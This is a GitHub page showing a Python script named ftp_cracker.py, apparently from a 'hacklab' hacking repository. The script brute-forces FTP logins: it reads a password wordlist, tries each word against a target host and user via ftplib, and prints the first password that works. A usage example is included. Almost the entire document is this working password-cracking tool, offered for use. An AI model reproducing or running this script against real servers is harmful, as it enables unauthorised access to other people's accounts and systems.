-
Notifications
You must be signed in to change notification settings - Fork 74
/
Copy pathftp_cracker.py
72 lines (56 loc) · 1.76 KB
/
ftp_cracker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python
import ftplib
from optparse import *
class colors:
def __init__(self):
self.blue = "\033[94m"
self.red = "\033[91m"
self.end = "\033[0m"
cl = colors()
print(cl.blue+"""
*--------------------------------------*
| programmed by : mohamed |
| fb.me/hack1lab |
*--------------------------------------*
_ _ _ _
| |__ __ _ ___| | _| | __ _| |__
| '_ \ / _` |/ __| |/ / |/ _` | '_ \
| | | | (_| | (__| <| | (_| | |_) |
|_| |_|\__,_|\___|_|\_\_|\__,_|_.__/
ftp cracker
-------------
"""+cl.end)
def connect(host, user, password):
try:
ftp = ftplib.FTP(host)
ftp.login(user, password)
print(cl.red+"\nLogin successfuly with password: "+str(password)+cl.end+'\n')
ftp.quit()
exit(0)
except Exception:
return False
parser = OptionParser("""
#Usage:
python ftp_cracker.py -t <Target IP> -u <User> -p <Password File>
#Example:
python ftp_cracker.py -t 127.0.0.1 -u hacklab -p wordlist.txt
""")
try:
parser.add_option("-t",dest="target",type="string", help="enter target ip")
parser.add_option("-u",dest="user",type="string", help="enter target user")
parser.add_option("-p",dest="password",type="string", help="enter passwords file")
(options, args) = parser.parse_args()
if options.target == None or options.user == None or options.password == None:
print(cl.blue+parser.usage+cl.end)
exit(0)
else:
host = str(options.target)
user = str(options.user)
password = str(options.password)
read = open(password, 'r')
for word in read:
word = word.strip('\n')
print("Testing: "+str(word))
connect(host, user, word)
except Exception:
print("there error !!")